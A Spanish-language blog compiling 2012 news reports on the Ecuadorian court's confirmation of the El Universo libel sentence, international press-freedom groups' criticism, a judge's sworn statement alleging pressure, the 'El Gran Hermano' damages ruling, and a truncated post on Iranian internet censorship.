LA PLEGARIA DE UN PAGANO

CIDH, ONU, RSF, CPJ y WAN-IFRA critican sentencia al UNIVERSO

2012-02-16T19:07:00.005-05:00

Varios organismos internacionales ven con suma preocupación la ratificación de la condena contra el diario "EL UNIVERSO", a continuación las diferentes opiniones:

RSF calificó de "desastre" sentencia contra diario El Universo

La organización Reporteros Sin Fronteras cuestionó este jueves la resolución de los jueces de la Sala Penal de la Corte Nacional de Justicia (CNJ) que, ratificó la sentencia de primera y segunda instancia en contra de Diario El Universo y sus tres directivos, dentro de la querella presentada por el ciudadano Rafael Correa, presidente de la República.

Los tres jueces, por decisión unánime, resolvieron en una hora y cuarenta minutos, tras aproximadamente 15 horas de argumentaciones y réplicas, devolver el caso a la Corte Provincial de Justicia del Guayas, que sentenció al pago de 40 millones de dólares a Diario El Universo así como a sus tres directivos Carlos, César y Nicolás Pérez, y al exeditor de Opinión Emilio Palacio, a quienes condenó, además, a tres años de prisión.

Para la organización de defensa de los periodistas y de la libertad de la prensa (RSF), "las consecuencias de una decisión como esta sobrepasan, y con mucho, el caso particular de El Universo. La CNJ acaba de ratificar un verdadero estímulo a la censura que podría muy bien afectar mañana a otros medios de comunicación, cualesquiera que sea su tendencia y cualquiera que sea el gobierno establecido", indicó.

Rafael Correa presentó la demanda como ciudadano, no como jefe de Estado; pero de acuerdo a las argumentaciones presentadas ayer por la defensa de los querellados, "se beneficia de un tipo penal donde la víctima necesariamente debe ser una autoridad", dijo la defensora Mónica Vargas.

En el comunicado enviado, RSF indicó que es difícil no ver en esta sanción exorbitante la restitución de su ‘lesa majestad', que no concuerda con los principios del Estado de Derecho, según los cuales la aceptación de la crítica, incluso la más virulenta o injusta, incumbe a un poder elegido democráticamente.

Benoit Hervie, responsable para las Américas de RSF, calificó a la sentencia como "un desastre" para el porvenir de la libertad de expresión,.

En entrevista con Citynoticias (89.3 FM en Guayaquil), Benua Hevie enfatizó que aunque desde el inicio pensaban que había algo extremo en las declaraciones que Palacio hizo en su columna de Opinión en El Universo, "finalmente la sanción de ayer es la peor respuesta que se puede dar a aun ejercicio de libertad de Opinión".

Benua Hevie señaló que la prensa está expuesta a la respuestas del público y a las críticas, y debe aceptarlas y tener una sanción adecuada, no exhorbitante como la suma de 40 millones y el colocar a periodistas en la cárcel, pues eso podría causar temor en los periodistas a la hora de hacer una crítica fuerte.

Asimismo, consideró que los presidentes tienen derecho a la honra y de réplica de las críticas, pero que también deben aceptarlas como mandatarios elegidos por la ciudadanía.

La CIDH y la ONU, con "profunda preocupación" por ratificación de condena contra El Universo

Las relatorías para la libertad de expresión de la Comisión Interamericana de Derechos Humanos (CIDH) y de la ONU manifestaron este jueves su "profunda preocupación" por la ratificación de la condena contra los directivos del diario ecuatoriano El Universo.

En un comunicado conjunto, las relatorías afirmaron que la pena contra tres directivos y un periodista del diario a 3 años de prisión y al pago de 40 millones de dólares por la publicación de una columna que ofendió al presidente Rafael Correa, contraviene leyes internacionales.

La CIDH "ha establecido hace más de una década que la utilización del derecho penal para sancionar expresiones sobre funcionarios públicos vulnera el artículo 13 de la Convención Americana, que protege la libertad de expresión", indicó el comunicado.

Por su parte, la relatoría de la ONU recordó que "de acuerdo con el artículo 19 del Pacto Internacional de Derechos Civiles y Políticos, los funcionarios públicos deben estar sujetos a un mayor nivel de escrutinio y de crítica".

La condena fue confirmada en última instancia este jueves por la suprema Corte Nacional de Justicia (CNJ), a casi un año de la demanda por injurias planteada en marzo de 2011 por el presidente Correa.

La CIDH, de la Organización de Estados Americanos (OEA) ya había elevado sus preocupaciones sobre el proceso contra El Universo, lo que le ha valido críticas de Quito.

El director de El Universo, Carlos Pérez, recibió asilo político este jueves en Panamá, mientras que el periodista Emilio Palacio, quien escribió la columna crítica de Correa, lo solicitó en Miami la semana pasada.

Los otros dos condenados, César y Nicolás Pérez, señalaron el miércoles en Miami que evalúan si regresan a Ecuador, mientras esperan que la CIDH decida si les otorga medidas cautelares para evitar la ejecución de la sentencia.

La Comisión recordó este jueves que la Corte Interamericana ha establecido que las condenas en materia de libertad de expresión deben ser "proporcionadas" para no tener un efecto "intimidante e inhibidor" para la prensa.

A instancias de Ecuador y otros países, como Perú y Brasil, la OEA aprobó en enero "recomendaciones" para mejorar el funcionamiento de la CIDH, pero que organizaciones de derechos humanos denunciaron como un intento por restringir sus atribuciones.

Asociación Mundial de Periódicos condena sentencias contra El Universo y periodistas del caso Gran Hermano

La Asociación Mundial de Periódicos y Editores de Noticias (WAN-IFRA) condenó la ratificación de la sentencia contra el diario El Universo y sus directivos, Carlos, César y Nicolás Pérez, así como la sentencia, en un juicio aparte, en contra de los periodistas Juan Carlos Calderón y Christian Zurita.

La Corte Nacional de Justicia del Ecuador, ratificó la madrugada de este jueves la sentencia por injuria calumniosa que condena al periódico y a sus directivos al pago de 40 millones de dólares de indemnización y a tres años de prisión en un juicio instaurado por el Presidente Rafael Correa, quien asegura que se lo injurió en un artículo de opinión publicado en el diario.

El artículo, titulado No a las mentiras, fue escrito por Emilio Palacio, exeditor de Opinión, quien fue también sentenciado y a quien no se le permitió el recurso de casación.

En un comunicado con procedencia París, Francia y Darmstadt, Alemania, WAN-IFRA declaró que “el uso de juicios civiles y la exigencia de montos exorbitantes en conceptos de daños, al igual que el recurso a formas de desacato para enjuiciar a periodistas y medios, constituyen prácticas violatorias de los estándares internacionales de libertad de expresión. El Presidente Rafael Correa y su Gobierno han hecho de estas prácticas un arma política a través la cual construyen enemigos políticos, intimidan a toda voz crítica y controlan el debate público”.

Caso Gran Hermano
WAN-IFRA también se refirió al caso de la condena por parte de un tribunal civil contra los periodistas Juan Carlos Calderón y Christian Zurita, quienes fueron sentenciados al pago de 1 millón de dólares cada uno por daño moral al Presidente, como consecuencia de la publicación del libro “El Gran Hermano”, en el que se detallan contratos del Estado con el hermano del Presidente.

“Los juicios contra periodistas y la agresividad del Presidente Correa contra la profesión han perjudicado fuertemente la imagen internacional del Ecuador”, afirmó la organización global de la prensa. “La severidad de las demandas, las series de irregularidades que han caracterizado ambos juicios, y las sentencias a favor del Presidente Correa, ignoran todo principio democrático de libertad de expresión, tolerancia y separación de poderes”.

WAN-IFRA instó nuevamente al Presidente Rafael Correa a “retirar las demandas contra el diario El Universo, sus directores y su exeditor de opinión, Emilio Palacio, al igual que las demandas contra Juan Carlos Calderón y Christian Zurita”.

WAN-IFRA, con sedes en París, Francia, y Darmstadt, Alemania, y con subsidiarias en Singapur, la India, España, Francia y Suecia, es la asociación global mundial de periódicos y editores de noticias, que representa a más de 18.000 publicaciones, 15.000 páginas web y más de 3.000 empresas en más de 120 países. Su misión principal es defender y promover la libertad de prensa, el periodismo de calidad y la integridad editorial, fomentando asimismo el éxito empresarial.

CPJ: Sentencia contra El Universo es un retroceso para la democracia en Ecuador

El Comité para la Protección de los Periodistas (CPJ, por sus siglas en inglés) está indignado por la decisión del máximo tribunal de justicia de Ecuador que ratificó este jueves la sentencia por injurias calumniosas iniciada por el Presidente Rafael Correa contra el diario El Universo de Guayaquil.

"Un editor está buscando asilo político, tres ejecutivos pueden ir pronto a prisión y uno de los principales diarios del país puede quedar en la bancarrota sólo porque al Presidente Correa no le gustó un artículo de opinión", afirmó Carlos Lauría, coordinador senior del programa de las Américas del CPJ, mediante un comunicado.

"Este fallo con poca visión de futuro solo hará que los periodistas ecuatorianos dejen de investigar a los políticos poderosos; representa un serio retroceso para la democracia en Ecuador", agregó.

En el comunicado se añadió que un informe especial del CPJ reveló que las "arcaicas leyes de difamación penal en Ecuador han sido utilizadas en forma sistemática para castigar a periodistas críticos".

Fuentes:

EL UNIVERSO | RSF calificó de "desastre" sentencia contra diario El Universo
EL UNIVERSO | CPJ: Sentencia contra El Universo es un retroceso para la democracia en Ecuador
EL UNIVERSO | La CIDH y la ONU, con "profunda preocupación" por ratificación de condena contra El Universo
EL UNIVERSO | Asociación Mundial de Periódicos condena sentencias contra El Universo y periodistas del caso Gran Hermano

Jueces de sala penal ratifican sentencia en caso El Universo

2012-02-16T02:21:00.004-05:00

Los jueces de la Sala Penal de la Corte Nacional de Justicia (CNJ) Wilson Merino, Paúl Íñiguez y Jorge Blum tardaron una hora y cuarenta minutos en ratificar las sentencias de primera y segunda instancia contra EL UNIVERSO.

La audiencia duró 15 horas. Los jueces deliberaron alrededor de 2 horas. Por decisión unánime ratificaron condena contra directivos de El Universo.

En la deliberación decidieron declarar improcedentes los recursos de casación y devolver el proceso al tribunal inferior, es decir al Juzgado 15º de Garantías Penales.

Esa ratificación de la sentencia significa una prisión de tres años para los directivos del rotativo: Carlos, César y Nicolás Pérez y el pago de una indemnización de $ 40 millones para el presidente Rafael Correa.

Conocida la resolución, Correa agradeció a sus abogados Gutemberg y Alembert Vera, a su familia, a sus ministros y asambleístas y a los ciudadanos que acudieron a la Corte y lo apoyaron en las redes sociales y dijo que “el país está cambiando (...), ahora van a entender que la libertad de expresión ya es de todos”.

Hora y 40 antes de retirarse a deliberar, el juez ponente Wilson Merino hizo el último llamado a las partes para que lleguen a una conciliación. Mónica Vargas recordó que en la audiencia de segunda instancia el rotativo propuso al mandatario que envíe una carta con la corrección para su publicación en el Diario. Sin embargo, Correa señaló en esa ocasión que el tiempo de los caballeros pasó.

Esta vez ratificó que a esas alturas del proceso era imposible dar marcha atrás.

La audiencia se llevó por alrededor de 15 horas. Los magistrados instalaron puntual la diligencia, a las 09:00.

Tal como ha sucedido en otras ocasiones, los funcionarios ocuparon las primeras filas del auditorio como una muestra del alto cargo que ocupan y de su respaldo al presidente.

Ahí estaban Fernando Alvarado, María Fernanda Espinosa, Doris Soliz, Camilo Samán, Patricio Rivera, Érika Silva, Edwin Jarrín, Roberto Cuero, entre otros. Así como los asambleístas oficialistas Pedro de la Cruz y María Augusta Calle, entre otros.

La defensa de los directivos del periódico tuvo la palabra y recalcó que acudían bajo protesta porque los recursos de ampliación y aclaración habían sido negados sin que medie ninguna explicación jurídica.

El secretario de la Sala Penal, Honorato Jara, arrancó la audiencia dando lectura a la lista de abogados que intervendrían, por la parte acusadora: Alembert y Gutemberg Vera, y por la parte acusada: Xavier Zavala, como procurador judicial de EL UNIVERSO; y Mónica Vargas, Jorge Roditti y Hernán Salgado, en representación de Nicolás, César y Carlos, en su orden.

Jara no mencionó a los abogados del exeditor Emilio Palacio, lo cual motivó el reclamo de su defensa (Jorge Alvear), quien pedía su inclusión dentro de la casación.

Pero el juez sustanciador de la causa, Merino, negó la posibilidad, toda vez que Palacio, según explicó, no constaba dentro de los autos del proceso como sujeto procesal. Por ello pidió a los abogados del periodista que abandonen la zona exclusiva para la defensa y los invitó a ubicarse entre el público, que en su gran mayoría eran funcionarios de Gobierno.

El primero en tomar la palabra fue Zavala, quien impugnó cuatro puntos de la sentencia emitida contra este Diario por el juez temporal del Guayas, Juan Paredes, y que fue ratificada en segunda instancia por la Corte Provincial de Justicia, con un voto salvado.

Zavala fundamentó su defensa a la Compañía Anónima EL UNIVERSO, que de acuerdo con las dos sentencias emitidas debe pagar $ 10 millones por indemnización al primer mandatario, argumentando la imposibilidad de declarar a las personas jurídicas como autoras de un delito penal.

A modo de ejemplo, el jurista señaló que en caso de un crimen no se puede juzgar al arma con el que se lo cometió, sea esta una pistola o un arma blanca, sino a su perpetrador. “El objeto es usado, no tiene voluntad”.

Al final de su intervención, que duró cerca de 50 minutos, Zavala hizo un llamado a los jueces de la CNJ para que con el fallo que emitan en casación, reivindiquen a la justicia ecuatoriana que, considera, ha sido golpeada durante este proceso y se ha convertido en “el hazmerreír a nivel internacional”.

Luego expuso la abogada Mónica Vargas, quien habló del “desdoblez” del presidente Correa durante el proceso planteado contra este medio y sus directivos.

Según ella, esta figura se concretaría cuando el jefe de Estado presenta la demanda a título de ciudadano común y corriente, “sin embargo, se beneficia de un tipo penal donde la víctima necesariamente debe ser una autoridad”, dijo la defensora.

Este tipo penal se refiere al desacato, que se contempla en los artículos 493 y 230 del Código Penal, una normativa que ha sido rechazada por tribunales internacionales a los que el Ecuador está adscrito.

Sobre este tema, el del desacato, también se refirió Emilio Romero Parducci, quien dijo que en la Constitución garantista aprobada en 2008 por este régimen, ya eliminaba este delito. Por lo cual lamentó que para juzgar a EL UNIVERSO y a sus directivos se lo use.

Romero también leyó parte del artículo de Palacio, ‘No a las mentiras’, que es el origen de la demanda penal por injurias planteada por Correa, y aseguró que en ninguna parte su autor imputa delito alguno al presidente de la República (por la sublevación del 30 de septiembre del 2010) y, más bien, invitó a los jueces a que lo analicen y se den cuenta de que se trata de un consejo al mandatario, por los efectos de la revuelta del 30-S.

Sobre la sentencia de primera instancia, el jurista aseguró que el juez Paredes miente al decir que dentro del estatuto de Diario se establece que los directivos sí tienen la potestad de vetar las noticias y editoriales que se publiquen en el rotativo. Este es uno de los argumentos para declarar a los hermanos Pérez como autores coadyuvantes del supuesto delito.

Los alegatos se extendieron hasta pasadas las 18:00 cuando Merino ordenó el tercer receso que aprovechó Campaña para ofrecer una rueda de prensa. También lo hizo el jefe de Estado, quien criticó la duración de los alegatos de la parte acusada. Señaló que esto buscaba “quemar tiempo”, y por eso hizo un llamado a los ciudadanos a realizar una vigilia.

Fuente:

EL UNIVERSO | Jueces de sala penal ratifican sentencia en caso El Universo

Mónica Encalada reveló recibir presiones del abogado de Rafael Correa

2012-02-14T23:59:00.011-05:00

En una declaración juramentada de cuatro páginas, la jueza temporal Mónica Encalada reveló que fue víctima de presiones de uno de los abogados del presidente Rafael Correa, durante el trámite en primera instancia de la querella penal entablada contra EL UNIVERSO, sus directivos y Emilio Palacio, exeditor de Opinión.

Paredes me dijo: Gutemberg no duerme haciendo la sentencia", (Mónica Encalada).

Joffre Campaña denuncia irregularidades

Jueza Mónica Encalada teme por su vida

Confirmado: Gutemberg Vera es Chucky Seven

Encalada remitió ayer el documento al fiscal distrital del Guayas, Antonio Gagliardo, quien le había solicitado que rindiera declaración dentro de la indagación previa seguida contra el juez Juan Paredes, por la denuncia de prevaricato y falsedad ideológica efectuada por la defensa de este medio.

Ayer, en una rueda de prensa, el procurador judicial de EL UNIVERSO, Joffre Campaña, leyó parte de la declaración de la jueza, en la que afirma haber recibido una llamada de uno de los abogados de Correa (no lo identificó) pidiéndole que fuese ella quien presida la audiencia de juzgamiento prevista para el 19 de julio del año pasado, pese a que ya había culminado su encargo del trámite del caso.

“A usted le va a corresponder hacer la audiencia el día de mañana(...). El ‘número uno’ (en referencia al presidente Rafael Correa) está contento, pues él dice que se lleva bien con las damas, que tienen más pantalones que los hombres, entonces le corresponde a usted hacer la sentencia; haga nomás la audiencia, nuestro respaldo y el respaldo del ‘número uno”, cita la jueza en su versión escrita.

Encalada agrega que luego de esta conversación, el juez Paredes le mencionó que “aunque Gutemberg (Vera) no cobrará nada por este juicio, a él le van a dar el cobro de las deudas de los bancos cerrados, y eso era una millonada (...). Él ofrece y se compromete a quien haga la sentencia, lo hará participar en ese negocio; también se mandan a pagar en la sentencia $ 3 millones por honorarios profesionales para los abogados y él está dispuesto a entregar un 25% en esta instancia”.

Según la jueza, Paredes le habría asegurado que quien haga la audiencia no tendría que preparar el fallo sino notificarlo solamente: “La sentencia está bien trabajada y fundamentada, pues Gutemberg (Vera) no duerme haciéndola, lleva semanas trabajándola”.

Asimismo, la jueza negó haber participado en la elaboración del fallo que condenó a los directivos de este medio a tres años de cárcel y al pago de una millonaria indemnización a favor de Correa, como lo afirmó Paredes en su comparecencia en la Fiscalía distrital.

En esa diligencia, el juez temporal afirmó que había logrado redactar la sentencia rápidamente porque Encalada le facilitó un pendrive que contenía partes de la querella y otros escritos en formato Word. Ella, en cambio, dice que le facilitó esos archivos para que los leyera antes de la audiencia, pero estos fueron guardados en PDF.

Campaña presentó un video (de 56 segundos) en el que la magistrada señala que resolvió enviar su testimonio a la Fiscalía por escrito tras recibir amenazas por parte de la defensa de Correa. Adelantó que analizaba la posibilidad de salir del país.

El defensor de este medio dijo que esta versión confirma que Paredes no redactó la sentencia condenatoria y que pretendió inculpar a Encalada.

“La pregunta es: doctores (Jorge) Blum, (Paúl) Íñiguez, (Wilson) Merino, ¿van ustedes a realizar la audiencia mañana (hoy) para sentenciar a Diario EL UNIVERSO con conocimiento pleno de este enorme acto de corrupción? presidente (Rafael) Correa, ¿va usted mañana a concurrir a la audiencia para que se valide la sentencia que le otorga $ 40 millones?”, fustigó Campaña, quien exhortó al fiscal Antonio Gagliardo a iniciar una instrucción fiscal contra Paredes.

Encalada fue la cuarta jueza que actuó en la primera instancia del proceso. Asumió el trámite el 31 de junio del año pasado, una vez que este Diario recusó al juez Sucre Garcés.

Al día siguiente, pasadas las 08:30, se presentó en el Juzgado 15º de Garantías Penales, donde se ventilaba el caso; y poco antes del mediodía emitió una providencia en la que negó la mayoría de las pruebas presentadas por la parte acusada y fijó la audiencia de juzgamiento para el 19 de julio.

EL UNIVERSO solicitó la revocatoria de esa providencia, alegando que la jueza Encalada no tenía competencia para convocar a la audiencia. Y el 4 de julio se la recusó

Al día siguiente, la jurista presentó su excusa. Y la delegación provincial del Consejo de la Judicatura la reemplazó con Carmen Argüello, pero esta se excusó, por lo cual el caso volvió a Encalada.

El 11 de julio, dicha jueza emitió otra providencia en la que negó todos los pedidos de revocatoria y confirmó la audiencia. Ella actuó en el proceso hasta el día anterior a la diligencia.

Por su actuación, el defensor de la compañía EL UNIVERSO, Xavier Zavala, presentó una denuncia penal en su contra por prevaricato y por haber negado la presentación de pruebas de los querellados. En ese caso, la Fiscalía distrital abrió la indagación previa.

Mientras, el abogado del presidente de la República, Gutemberg Vera, dijo la noche de ayer en Quito que seguirán “las acciones legales que correspondan a quienes usando documentos falsos” pesan como actores de “delito de falsedad”, sustentándose en el artículo 341 del Código Penal.

Aunque no dio nombres sobre los posibles demandados, el abogado del jefe de Estado aclaró que no iniciará ninguna acción contra la jueza Mónica Encalada, pese a reconocer que cometió un delito, señalando que “es una víctima, utilizada y lógicamente fue coimada”.

Indicó que el delito cometido por Encalada se sujeta en el artículo 292 del Código Penal: “todo funcionario o todo agente de policía que habiendo tenido noticia de la perpetración de un delito no lo pusiera en conocimiento de un juez de instrucción, será reprimido con prisión de 15 días a 6 meses”.

La casación es solo revisar si la sentencia está bien hecha, puede decir los aspectos de derechos, ya no de hecho; como en los hechos tenemos razón y en los derechos también, si hay justicia en este país, mañana (hoy) tendremos que ganar el caso contra EL UNIVERSO”, (Rafael Correa).

Jueza Mónica Encalada al fiscal Antonio Gagliardo

Declaración:

Al haber sido referida y llamada a dar mi versión en la denuncia existente en la Fiscalía Provincial del Guayas, contra el juez Juan Paredes, sobre los hechos que se investigan, me he encontrado con una situación estresante, llena de presiones para que yo concurra y supuestamente me haga cargo de la elaboración de la sentencia dentro de la querella número 457-2011 que se ventiló en el Juzgado Décimo Quinto de Garantías Penales, lo que equivaldría a responsabilizarme de algo que yo desconozco por lo que me veo precisada a peticionar el amparo y protección de los Derechos Humanos, que no he colaborado de ninguna manera en agregar ni la mitad de una palabra en la sentencia existente en contra de EL UNIVERSO.

Mi actuación de jueza subrogante en ese caso concluyó el 18 de julio del 2011, a las 18h30 en que le entregué todo lo actuado al señor abogado Juan Paredes, juez temporal, una vez que fui notificada por parte de la señora secretaria del Juzgado Séptimo de Garantías Penales del Guayas con el auto resolutivo de rechazo al juicio de recusación planteado (por) el mismo juez Paredes.

Respecto a lo manifestado por el abogado Juan Paredes, sobre la existencia de un pendrive con partes del referido cuaderno penal, que yo le proporcionara, esto se explica así: En los primeros días del mes de julio del 2011, en circunstancia que estaba en la oficina de informática de la Corte de Justicia –ya que por ser jueza subrogante, yo no tenía oficina asignada– proveyendo sobre la querella de injurias N° 457-2011, el señor Jaime Martínez encargado de esa área, realizaba el escaneo de varias partes del proceso, por pedido de la abogada Carmen Zuriaga, secretaria del despacho, manifestando ella que debía de entregar unas copias y no quería sacar el expediente de la Corte; estando listo ese trabajo, yo le peticioné al señor Jaime Martínez una copia de las imágenes que él había reproducido en formato PDF, en un pendrive de mi propiedad marca HP; esto lo hice con objeto de tener cómo ver y estudiar esa parte del proceso por cuanto era probable que yo realice la audiencia y además porque no nos era permitido a los jueces subrogantes sacar el expediente fuera de la Corte, conforme resolución del anterior pleno del Consejo de la Judicatura.

El día 18 de julio del 2011 me encontraba en el Juzgado Décimo Quinto de Garantías Penales del Guayas en el despacho de los amanuences, despachando los detalles de la audiencia única de juzgamiento contra los directivos de EL UNIVERSO, que se realizaría al siguiente día 19 de julio.

Y además estaba a la espera de la notificación la secretaria del juzgado séptimo de Garantías Penales del Guayas, la resolución sobre la recusación contra el juez Juan Paredes, toda vez que ella aducía que el juez, no le había ordenado sentar la razón ejecutoriada de tal resolución, ya que no se encontraba el juez en su despacho; en estas circunstancias el juez Juan Paredes llegó al lugar donde yo me encontraba, aproximadamente a las 16:00, y me dijo que era mejor que yo misma haga la audiencia al siguiente día, pues no había sido notificada en tal razón era yo quien tenía la titularidad del despacho, y que como yo había llevado el proceso que mejor lo termine, pues él no se había preparado para la audiencia de juzgamiento y el juicio era voluminoso.

Recibí una llamada a mi teléfono reconociendo que se trataba de uno de los abogados del acusador, quien me manifestó que históricamente a usted le va a corresponder hacer la audiencia el día de mañana, no le han notificado, el juez Guzmán, está fuera de la Corte y no contesta el teléfono; el ‘número uno’ está contento pues él dice que se lleva bien con las damas que tienen más pantalones que los hombres, entonces le corresponde a usted hacer la sentencia, haga nomás la audiencia, nuestro respaldo y el respaldo del “número uno”, lo que yo dije eso sería irregular pues ya hay una resolución del juez de la recusación y que iba a esperar a que me notifique el juez séptimo y que se siente la razón.

A continuación el mismo juez Juan Paredes me dijo, más o menos lo siguiente: me han dicho que le dijera Doctora que aunque Gutemberg no cobrará nada por este juicio, a él le van a dar el cobro de las deudas de los bancos cerrados y que eso era una millonada, allí se gana plata sin hacer nada, te pagan por no cobrar y si cobras también se gana, él ofrece y se compromete a quien haga la sentencia lo hará participar en ese negocio; también se mandan a pagar en sentencia tres millones de dólares por honorarios profesionales para los abogados y él está dispuesto a entregar un 25% en esta instancia a quien haga la audiencia y la sentencia del caso, y solo tiene que hacer la audiencia y notificar la sentencia que será histórica, la sentencia está bien trabajada y fundamentada pues Gutemberg, no duerme haciéndola, lleva dos semanas trabajando". Esto me causó alarma y por esta razón me decidí ir a dar un ultimátum a la abogada María Eugenia Vásquez Layana, secretaria del Juez Séptimo Penal, e insistí que me notificara la resolución de la recusación a favor de Paredes, para decidir sobre la audiencia del siguiente día, poniendo obstáculos la misma secretaria, diciéndome que solo su juez la podía ordenar, no obstante, a mis requerimientos, tuve que ordenarle mediante providencia, que certifique si la resolución se encontraba ejecutoriada, y me notifique, lo que hizo.

Entonces empecé hacer la providencia, devolviéndole el juicio al juez Juan Paredes; estando yo en ese estado apareció nuevamente el juez Juan Paredes, aproximadamente a las 18h30 y me dijo que lo había, le hice saber que había ordenado que se prepare el Auditorio del Consejo de la Judicatura para que se lleve a efecto la audiencia y además comenté que tenía un pendrive con la querella y la respuesta a la misma y él me dijo que se lo preste para hojear esa noche el juicio, a lo que yo accedí.

Él me dijo que era para estudiar, ese pendrive estaba en imágenes en PDF que solo sirve para lectura o impresión no para ser modificado o agregado a un documento, por lo que no es como dice el Juez Juan Paredes, que he copiado y transcrito, pasado o convertido imágenes en documento en Word, lo que no es así, yo nunca hice aquello, yo no conozco de aquello, y no tengo el programa necesario para hacer tal conversión, los documentos en el pendrive de mi propiedad estaban en imágenes, se lo preste a su requerimiento y ruego, solo para su lectura y conocimiento, no para que haga uso de el en su sentencia, lo que era un imposible pues no era documentos, ni letras, sino imágenes copiadas por escáner en formato PDF; por lo que niego en cuando dice que yo haya tenido participación en entregar parte de la sentencia, tal cual se ha mencionado en los medios; además nunca me fue devuelto el citado pendrive; por lo tanto, no lo tengo en mi poder, pues lo tuviera lo entregaría junto con esta versión escrita.

Hasta aquí mi versión, libre y voluntaria, a favor de la verdad y en beneficio de la Justicia, señor Fiscal. Adjunto un CD con el que he gravado la constancia de este escrito, a fin de solicitarle no vuelva a convocarme a rendir ninguna otra versión, pues todo lo que he tenido que decir consta en estas líneas.

Fuente:

EL UNIVERSO | Declaración de jueza Mónica Encalada a fiscal Antonio Gagliardo
Confirmado | (VIDEO) Jueza Encalada deja un video en el que confiesa temer por su vida
EL UNIVERSO | Mónica Encalada: ‘Paredes me dijo: Gutemberg no duerme haciendo la sentencia’

Sentencia en contra de Calderón y Zurita fue por "daño espiritual"

2012-02-08T02:43:00.005-05:00

Bajo el argumento de que el daño moral que se habría ocasionado en el presidente Rafael Correa se ubica a nivel de lo espiritual, la jueza quinta de lo Civil de Pichincha, Mercedes Portilla, condenó a los periodistas Juan Carlos Calderón y Christian Zurita, autores del Libro El Gran Hermano al pago de un millón de dólares por cada uno a favor del mandatario y unos $ 100.000 para sus abogados por coste de la defensa.

Pese a que la providencia llegó recién ayer en la mañana al casillero judicial de Ramiro Aguilar, abogado de los comunicadores, TC Televisión, canal incautado por el Estado, ya la hizo pública con detalles la noche del lunes, lo que causó sorpresa y molestia en los demandados.

Correa demandó por daño moral a los dos periodistas a raíz de la publicación del libro El Gran Hermano, donde se develan los millonarios contratos que el hermano del mandatario, Fabricio Correa, habría firmado con el Estado ecuatoriano a través de las empresas en donde tiene participación.

En esa investigación se afirma, por testimonio del propio Fabricio, según los autores, que el presidente sí conocía de las actividades de su hermano, algo que fue ratificado por una Veeduría Ciudadana, que ahora es investigada, pero que es negado por el primer mandatario.

El defensor de Calderón y Zurita, Ramiro Aguilar, había pedido dentro del proceso que Correa demostrara con exámenes el daño que le causó el libro, algo que nunca lo hizo.

En la providencia firmada por Portilla se ratifica que la parte afectada no exhibió pruebas del sufrimiento físico o psíquico que dice haber padecido, historias clínicas o facturas de consultas psiquiátricas o psicológicas tendientes a demostrar la angustia y ansiedad de Correa.

Sin embargo, la jueza señala que estas pruebas no han podido ser valoradas a favor de los afectados “por la sencilla razón de que el daño moral refiere a lo espiritual, a lo inmaterial, a aquello que solo la persona que lo sufre puede indicarlo, siendo innecesario que un profesional de la psiquiatría o psicología certifique tal padecimiento”.

Ayer en rueda de prensa, Ramiro Aguilar cuestionó la decisión de la jueza que no tomó en cuenta el informe presentado por la Veeduría Ciudadana y se basó únicamente en las resoluciones tomadas por los organismo estatales de control, cercanos al propio mandatario.

Además calificó como desproporcionado el monto de la indemnización que entre Calderón y Zurita suman dos millones de dólares.

Por eso ayer en la tarde el abogado presentó ante el Juzgado Quinto de lo Civil la apelación total a la sentencia para que sea una instancia superior, en este caso la Corte Provincial de Pichincha, la que revise todo el proceso.

Por su parte, Calderón señaló que en ninguna parte de la providencia la jueza Portilla argumenta que lo que se dice en el libro El Gran Hermano es falso. El periodista anunció que seguirán luchando porque considera que la razón y la verdad están de su lado.

En tanto que Zurita dijo que pese a la condena, el presidente no ha ganado. “Él históricamente ha perdido y debería reconocer que la historia del libro es una recolección de hechos que narra la corrupción en los cuatro primeros años de su gobierno”.

Uno de los primeros funcionarios del régimen en pronunciarse sobre la sentencia fue el vicepresidente de la República, Lenin Moreno, quien señaló que “lo que está claro es que tanto el señor Emilio Palacio (exeditor de Opinión de este Diario) cuanto los señores periodistas Juan Carlos Calderón y Christian Zurita, de acuerdo a lo que manifiesta el presidente, faltaron a la verdad”.

El segundo mandatario considera que el tema de los montos de indemnización y los años de reclusión, en el caso de Palacio, es una cuestión de abogados.

Este fallo abre el espacio para que Ecuador se divida en gente que se gana la vida con esfuerzo y la que va a vivir del daño moral”, (Juan Carlos Calderón, AUTOR DEL LIBRO ‘EL GRAN HERMANO’).

Si él (Correa) reconoce lo que se dice en el libro no le queda más que renunciar. Pero como no quiere hacerlo lo mejor que pudo hacer es enjuiciar”, (Cristian Zurita, AUTOR DEL LIBRO ‘EL GRAN HERMANO’).

Fuente:

EL UNIVERSO | Sentencia en contra de Calderón y Zurita fue por ‘daño espiritual’

Internet alternativa o intranet regulada para los gobiernos totalitarios

2012-02-01T14:38:00.007-05:00

En un café de Teherán, un joven se conecta con su portátil a comprobar las últimas actualizaciones en Facebook. La escena, repetida en cualquier parte del mundo, no tendría nada de especial si no fuera porque en Teherán, los usuarios que se conectan a Facebook están violando la ley.

Esta red social fue prohibida en Irán, junto con Twitter, YouTube y muchos otros, poco después de las protestas que siguieron a la reelección del Presidente Mahmoud Ahmadinejad en 2009.

Las redes sociales y sitios para compartir imágenes fueron vistas por el gobierno como parte de la "soft war" llevada a cabo por los enemigos de Irán, pues fueron una herramienta de comunicación vital para el sector anti-Ahmadineyad más de un año antes de jugar un papel similar en los levantamientos populares que derrocaron dictaduras árabes en Túnez y Egipto.

El líder supremo de Irán, el ayatolá Ali Jamenei, ha estado usando la frase "soft war" regularmente para advertir de la "atmósfera de sedición" en la que se enmarcan todos los fenómenos culturales, contextualizados en una gran batalla entre Irán y Occidente. Por ello aboga por unir esfuerzos para reislamizar el sistema educativo y purificar los medios de comunicación de ideas subversivas.

En Irán, cuando un usuario intenta acceder a Facebook por una conexión normal, es redirigido a una página ya familiar para cualquiera que haya navegado por la web aquí, www.peyvandha.ir ("links.ir"). Esta página propone una serie de sitios aprobados por el gobierno que el usuario puede utilizar en lugar de esos sitios prohibidos, el primero de todos un Corán de búsqueda 'online'.

La página filtro advierte que los sitios bloqueados son los considerados criminales por ofender "a las santidades islámicas" o por el insulto público a los funcionarios gubernamentales. Sin embargo, para muchos iraníes, no pasar por el filtro del gobierno es tan fácil como encender el ordenador.

"Halal Web", red islámica para controlarlo todo (Irán)

